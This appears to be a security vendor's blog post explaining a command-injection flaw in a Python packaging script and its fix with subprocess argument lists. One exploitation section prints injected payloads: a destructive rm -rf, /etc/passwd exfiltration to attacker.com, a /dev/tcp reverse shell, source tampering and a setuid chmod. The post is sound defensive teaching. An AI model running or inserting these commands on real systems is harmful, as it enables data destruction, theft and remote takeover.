Back to Blog
high SEVERITY8 min read

Command Injection in Python Packaging Scripts: How Shell Metacharacters Can Compromise Your Build Pipeline

A high-severity command injection vulnerability was discovered and patched in a Python packaging script that used `os.system()` with unsanitized string interpolation to construct shell commands. An attacker who could influence the `serverHost` variable could execute arbitrary operating system commands with the full privileges of the packaging process. The fix replaces the dangerous `os.system()` call with Python's `subprocess` module, eliminating the shell injection surface entirely.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 6, 2026•Reviewed June 3, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Python caused by using `os.system()` with unsanitized string interpolation to build shell commands. When the `serverHost` variable is attacker-controlled, shell metacharacters like `; rm -rf /` can be injected to execute arbitrary commands. The fix replaces `os.system()` with `subprocess.run()` using argument lists instead of shell strings, which prevents shell interpretation of special characters entirely.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace os.system() with subprocess module using argument lists
riskArbitrary command execution with build process privileges
languagePython
root causeUsing os.system() with unsanitized string interpolation for shell commands
vulnerabilityCommand Injection (Shell Metacharacter Injection)

Introduction

Build and packaging scripts are often treated as second-class citizens when it comes to security reviews. They live in the packaging/ or scripts/ directory, they run in CI/CD pipelines, and developers tend to assume that only trusted engineers ever interact with them. That assumption can be dangerously wrong.

This post breaks down a high-severity command injection vulnerability found in packaging/checkPackageRuning.py — a script responsible for checking whether a package is running on a server. The vulnerability allowed an attacker who could influence a single variable to execute arbitrary shell commands with the full privileges of the packaging process. We'll explore how it worked, how it was fixed, and what you can do to prevent similar issues in your own codebases.


The Vulnerability Explained

What Is Command Injection?

Command injection is a class of vulnerability where an attacker can cause an application to execute unintended operating system commands. It typically occurs when user-controlled data is passed to a shell interpreter — either directly or indirectly — without proper sanitization.

Think of it like this: if you're building a SQL query by concatenating strings, you risk SQL injection. If you're building a shell command by concatenating strings, you risk command injection. The mechanics are the same; the consequences can be just as severe.

This vulnerability is tracked under CWE-78: Improper Neutralization of Special Elements used in an OS Command and is listed in the OWASP Top 10 under A03:2021 – Injection.


The Vulnerable Code

The root cause was a combination of two dangerous patterns used together:

  1. String interpolation to build a shell command from a variable (serverHost)
  2. os.system() to execute that command, which invokes a full shell interpreter

Here's a simplified representation of the vulnerable pattern:

# ❌ VULNERABLE: os.system() with string interpolation
import os

serverHost = get_server_host()  # Could be influenced by external input

cmd = "curl http://%s/health-check" % serverHost
os.system(cmd)  # Passes the entire string to /bin/sh

The critical detail here is how os.system() works under the hood. On Unix-like systems, os.system(cmd) is essentially equivalent to:

/bin/sh -c "curl http://<serverHost>/health-check"

That means the string is handed to a shell interpreter, and the shell will happily process any metacharacters it finds. Characters like ;, |, &&, `, $(), and > all carry special meaning to the shell.


How Could It Be Exploited?

Imagine serverHost is populated from a configuration file, an environment variable, a command-line argument, or a network response — any source that an attacker might influence. Here's what a malicious value could look like:

# Attacker-controlled serverHost value:
localhost; rm -rf /important/data; echo pwned

When interpolated into the command string:

curl http://localhost; rm -rf /important/data; echo pwned

The shell interprets the semicolons as command separators and executes all three commands in sequence. The curl command runs first (possibly failing), then rm -rf destroys data, and finally echo pwned confirms execution.

Other attack patterns include:

# Exfiltrate sensitive files
localhost && cat /etc/passwd | curl -d @- https://attacker.com/collect

# Establish a reverse shell
localhost; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Tamper with the package being built
localhost; echo "malicious_code" >> ../src/main.py

# Escalate privileges if the script runs as root in CI
localhost; chmod +s /bin/bash

What's the Real-World Impact?

In the context of a packaging script, the blast radius is particularly large:

  • Supply chain compromise: Injected code could modify the package before it's published, affecting every downstream consumer.
  • CI/CD pipeline takeover: Build servers often have elevated permissions and access to secrets (API keys, signing certificates, deployment credentials).
  • Data exfiltration: Sensitive build artifacts, source code, or environment variables could be sent to an attacker-controlled server.
  • Persistence: An attacker could install backdoors in the build environment that persist across runs.

Even if the script is "only run by trusted engineers," consider:
- Compromised developer machines
- Malicious pull requests that modify configuration files read by the script
- Automated pipelines that pull configuration from external sources


The Fix

What Changed

The fix replaces os.system() with Python's subprocess module, which is the modern, secure way to execute external commands in Python.

# ✅ FIXED: subprocess with argument list (no shell interpolation)
import subprocess

serverHost = get_server_host()

# Pass arguments as a list — no shell is invoked
result = subprocess.run(
    ["curl", f"http://{serverHost}/health-check"],
    capture_output=True,
    text=True,
    timeout=30
)

Why Does This Fix the Problem?

The key difference is how the arguments are passed to the operating system.

When you use subprocess.run() with a list of arguments (rather than a single string with shell=True), Python uses the execvp() system call directly. This means:

  • No shell is invoked — there is no /bin/sh -c wrapper
  • Each element in the list is treated as a literal argument — shell metacharacters have no special meaning
  • serverHost is passed as a raw string to curl, not interpreted by a shell

Here's a side-by-side comparison to make this concrete:

Approach Shell Invoked? Metacharacters Interpreted? Safe?
os.system("curl http://" + host) ✅ Yes ✅ Yes ❌ No
subprocess.run("curl http://" + host, shell=True) ✅ Yes ✅ Yes ❌ No
subprocess.run(["curl", "http://" + host]) ❌ No ❌ No ✅ Yes

Even if serverHost contains ; rm -rf /, it's passed as a literal string to curl, which will simply fail to resolve the hostname — no shell commands are executed.

A Note on shell=True

It's worth emphasizing: subprocess.run() with shell=True is just as dangerous as os.system(). The fix only works because arguments are passed as a list without enabling shell mode.

# ❌ Still vulnerable — shell=True negates the safety of subprocess
subprocess.run("curl http://" + serverHost, shell=True)

# ✅ Safe — list form, no shell
subprocess.run(["curl", "http://" + serverHost])

Conclusion

This vulnerability is a textbook example of how a single unsafe function call — os.system() with string interpolation — can open the door to complete system compromise. What makes it particularly insidious is that the code works perfectly under normal conditions; the danger only manifests when input is malicious.

The key takeaways from this fix:

  1. os.system() is dangerous when used with any variable input — treat it as a code smell
  2. subprocess with argument lists eliminates the shell injection surface by bypassing the shell entirely
  3. Build and packaging scripts deserve the same security scrutiny as production application code — sometimes more, given their elevated privileges and access to signing keys and secrets
  4. Automated security scanning can catch these patterns before they become incidents
  5. Defense in depth — validation, least privilege, and monitoring all add layers of protection

Secure coding isn't just about protecting your users; it's about protecting your build pipeline, your infrastructure, and your supply chain. Every script counts.


This vulnerability was detected and patched using automated security scanning. If you'd like to learn more about securing your development pipeline, check out OrbisAI Security.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #35276

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.